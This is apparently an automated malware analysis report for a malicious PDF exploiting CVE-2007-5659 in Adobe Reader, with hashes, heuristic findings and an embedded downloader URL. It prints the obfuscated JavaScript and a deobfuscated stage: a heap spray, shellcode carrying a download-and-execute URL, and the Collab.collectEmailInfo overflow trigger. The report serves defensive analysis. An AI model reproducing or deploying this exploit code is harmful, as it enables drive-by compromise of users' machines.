Malicious PDF — malware analysis report

Static analysis result for SHA-256 799651e3f68df4b1…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)
MD5: 487064ca236721f00b58e8806798cfda SHA-1: 3b19d7ad21327cca850a300243e737f40298f3b9 SHA-256: 799651e3f68df4b1455ff90a3f822928bfef58a891634c080f32a347bb106454
290 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is heavily obfuscated but ultimately attempts to download and execute a payload from the URL http://abb192.cn/exp/load.php?id=3043&spl=4. This indicates a multi-stage attack aiming to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=3043&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js
0fba354a022f53617b657f406152b7ff75e4cd159139c264c2fc937f1631f4c0		 pdf-javascript-stream PDF /JS object 13 at offset 0x363 6378 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fOufQ(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function y0jpEvYz(Kq4gyJc){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(Kq4gyJc)"+";"+"}");eval("function f1Dhf6U(ofPB2){var R3fluk="+"0,i1ckzPMPf5k4aI=ofPB2.l"+"en"+"gth,UgtiuaNz6z2k=10"+"2"+"4,olB9mos,uEBuJwy,GdbuWJp='',aoDgpx63jHA=R3fluk,Y4IKH=R3fluk,EaPEUer=R3fluk,kOOOW6Cjl3=Ar"+"ra"+"y(63,23,24,2,33,11,21,58,56,41,0,0,0,0,0,0,48,12,13,27,25,4,42,45,37,54,17,51,50,10,6,46,49,31,30,53,52,7,22,8,15,43,36,0,0,0,0,35,0,55,18,3,26,28,59,39,5,16,14,44,34,1,19,32,29,60,38,62,9,61,40,20,47,0,57);f"+"o"+"r(uEBuJwy=M"+"at"+"h.c"+"ei"+"l(i1ckzPMPf5k4aI/"+"UgtiuaNz6z2k)"+";uEBuJwy>R3fluk;uEBuJwy-"+"-){fo"+"r(olB9mos=Ma"+"th.m"+"in(i1ckzPMPf5k4aI,UgtiuaNz6z2k);olB9mos>R3fluk;olB9mos-"+"-,i1ckzPMPf5k4aI-"+"-){EaPEUer|"+"=(kOOOW6Cjl3[ofPB2.cha"+"rCod"+"eAt(aoDgpx63jHA+"+"+)-48])<"+"<Y4IKH;if(Y4IKH){GdbuWJp+"+"=y0jpEvYz"+"(100^EaPEUer&"+"2"+"5"+"5);EaPEUer>"+">="+"8;Y4IKH-"+"="+"2;}el"+"se{Y4IKH="+"6"+";}}"+"}return (GdbuWJp);}var J6Q8FwDIEYaio=implode('',['EtJmViw','55','2','hyAq3JDJZ','3mAmJ','H24hhTmnBuhJ3E43','U','yJc5vyJRyi','U','Je_A','JBP','tnh3hAS@5S2h1','I','i_6','n6m','y','kEyb','E9bMR','W6wUy6UJ','z','cwV4i','tB','JTUEBmcB','oiyE','Pwcxw_6eD','cBVB6hy@by','M','4iyMAyEA8','Z629bM','RW6wUy6U','JzcwV4','it','BuJcxw_6eDc','BV','B','6h','y@byE','uwVES@5S2h1Ii','_6n','6mykE@1Diw','cx','w','_6eDcB','V','B6hy@byEHhJBqbBVPHBT','2Sw6','yy5mvT','hJ2@hi','2JcM','Ayn','w4Z','M984wJ','pywpEHXiDh3Hk','Z6BuhJVEy','EJ243','ES@','5S','2h','1Ii_6','n6','m','ykE@1EHmJ3','E43UyJc5v','yJKih6nwiti','p','6','mbShnBJTUEtJm','Viw','WTWSMx2_MSAn6@WcJDJE6ei','Smw','py6UiSmQJZE','h2','mJ@TK','ww8','yJD','JwEM','E@hUwyhm@ZJmhmw1mS6mhm','w','1mS','6mhmw1mS6mhm6lEl','tmhP6','1hHt','mh4wbpb1mhm1','wDb1','mhm1','wJ66m','hJWleS6mhJWV','mS','6m','hJWrWb','tm','hJ','WeJ6wmh','4WlEL','tmh4Wl','Wl','Wmhm1','r','AH','WmhmWly6Wm','hJWlElWmh4','wihl','WmhJW','16lWmhJ1lW','h','wm','hmwVtL6mhJ','1lWhwm','h4w4ELwmhJWli','S6mhJWlEltmh4wi','hl','Wmh4','tpJS6','m','h4w6PSw','mhJ','W66b','6','m','hm6nJS6m','hJWlw66mhJWl','ElWmhJtHW','Hwmh4tphltmhPwnP','Swmh','4wJ666mhm6nhb6mhJWlwHW','mhJWlElWmhJ','tHWHwmh','4tphLwmhPtH@SwmhJ6whH','W','mhm','6nDh','WmhJ','WlihW','mh','JWlElWmhJtHWHwm','h4','tphL','6mhm','6wPSwmhm6l266mhm6n','PHWm','hJ','WleHtmh','JWlElWm','hJtHWH','wmh4','tptlWmh','464@Swmhm6HTHwmhm6','n','hSw','mhJWl261mhJWlEl','WmhJtHWHwmh','JtlWl','tm','hmWntHWmhJ1','H2Stmh4wb','66wmh4Wn6bt','m','hJWeJHw','m','hJWlEbW','mh','4t','6hl','Wmh','J1HWHwmh4w','ipltmhJWrwbtmhJW4@','6wmh4','wi','Dlwmh4','WnDbtmhm6n','Db','1mhJWlWhw','mh','JWlElWmhm1nDlW','m','h','4WJmb1mhJ1le36mhPweJS','wmh','JWlEl','Wmh4','wbhl','Wmh4W1','6bt','mh46HW','hwmh46lWStmh','4wbD','l','WmhPt','lwbtmhJ6wPSwmhJWlElWm','h4t','lElWmhJtHW','hwmhm1','Jtl','tmh','4tb','h3Wmh4tHWhwm','hm6ntLwm','hJW','l@6Wm','hJWlElW','mhJtHELtmh46eplWmh4t1hlW','mhPt6S66mh','46e','P6','tmhJWrwlW','mhm1H','TSwmhJWlE','lWmhJ1Hwh6','mh4wiplWmhJW16btmhJW','4@','6wm','h4','wiDlwm','h','4WnDb','tmhJt','liSwmhJWlE','lWmhm1JhlWmh','4tnh31m','hJtHELtmh','m','Wgelt','mh4tgehwmh','J6w','DL','tmhP','t','lT6t','mh4tg2','lWmhJ','t','HWhw','m','hm1J','tL6mh','4tbhb','tmh4tHWhwmhm','6ntL','wmh','J','WleLtmhJWlE','lWmhJ','Wl@','6wmhJ1','Hw','h6mh','4w','ipl','W','mh','JWn6','btmhJ','Wo@6wmh4wiDlwmh4WnDbtm','h4','WliSw','mhJWlE','lWmhm1JhlWmh4w','i6','h6','mh','4Wl','wbtm','hJW4@6wmh4','wiDlw','m','h4WnDb','tmhJWliSw','m','h','JWlElWmhJt4','ElWmh4to23wmhm64E','Ltmhm64','ELtmhm64E','Ltmh','m64ELtmh','m','61tStmh4tJhltmh4w','i','DLtm','hm6oe','6w','mh4towh1mhm','6lwh6mh','4w','i','D','b','tmh4wi','JS6m','h','JWnSH','6','mh4tVthw','mh','4tphL6','mhJ1gWhw','mh','4','wimL6mh4W6SHtmhJWgTSwm','h4t','p6St','m','hJ1','p','thw','mhJW','g','elWmhmWg','wStmh','Jtb','D','H','wmhmw','V6','bW','mh46gELtmhmW','g2','b1','mhJ','Ww661mh4W','lE66mhJ','6oybwmhJWnSHtmh466','D','6WmhJWgEl6mhJtlw','hW','mhJ64ihwmhJ66m3wmhJ','1H2b6','mh4tJJ6tmh','m6ithwmh4tJt','hwmhJ','Wgelt','mhm1ppH','6mhJW1th','wm','h4wi','63wmh
... (truncated)
generic_stage_recovery_000.js
edc9120c2032efec3831473ee1331427d7e69a87159524f56fd5b22cd2a5f1f6		 deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x363 2609 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Io2dhK = new Array(); function zdyuSV5wC7Ep(iKQ28RP27qdHe, NMz65c4y5Z42lA) { while (iKQ28RP27qdHe.length*2<NMz65c4y5Z42lA){iKQ28RP27qdHe += iKQ28RP27qdHe;} iKQ28RP27qdHe = iKQ28RP27qdHe.substring(0,NMz65c4y5Z42lA/2); return iKQ28RP27qdHe; } function W00waA43a69() { var EP6OKRNQW1TV = 0x0c0c0c0c; var TY7pj = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u333D%u3430%u2633%u7073%u3D6C%u0034"); var AiF6odPG1qm = 0x400000; var dH6NqCCZ = TY7pj.length * 2; var NMz65c4y5Z42lA = AiF6odPG1qm - (dH6NqCCZ+0x38); var iKQ28RP27qdHe = unescape("%u9090%u9090"); iKQ28RP27qdHe = zdyuSV5wC7Ep(iKQ28RP27qdHe, NMz65c4y5Z42lA); var pS7zwnQT6w9 = (EP6OKRNQW1TV - 0x400000)/AiF6odPG1qm; for (var btWMThQWH=0;btWMThQWH<pS7zwnQT6w9;btWMThQWH++) { Io2dhK[btWMThQWH] = iKQ28RP27qdHe + TY7pj; } } function rDcpds() { var SernwxAn0 = app.viewerVersion.toString(); SernwxAn0 = SernwxAn0.replace(/\D/g,""); var Vjzqpzmc = new Array(SernwxAn0.charAt(0),SernwxAn0.charAt(1),SernwxAn0.charAt(2)); if ((Vjzqpzmc[0] == 8 && ((Vjzqpzmc[1] == 1 && Vjzqpzmc[2] < 2) || Vjzqpzmc[1] < 1)) || (Vjzqpzmc[0] == 7 && Vjzqpzmc[1] < 1) || (Vjzqpzmc[0] < 7)) { W00waA43a69(); var GhLOVXb = unescape("%u0c0c%u0c0c"); while(GhLOVXb.length < 44952) GhLOVXb += GhLOVXb; this.collabStore = Collab.collectEmailInfo({subj: "",msg: GhLOVXb}); } } rDcpds();

Open this report in the interactive analyzer, or submit your own file for analysis.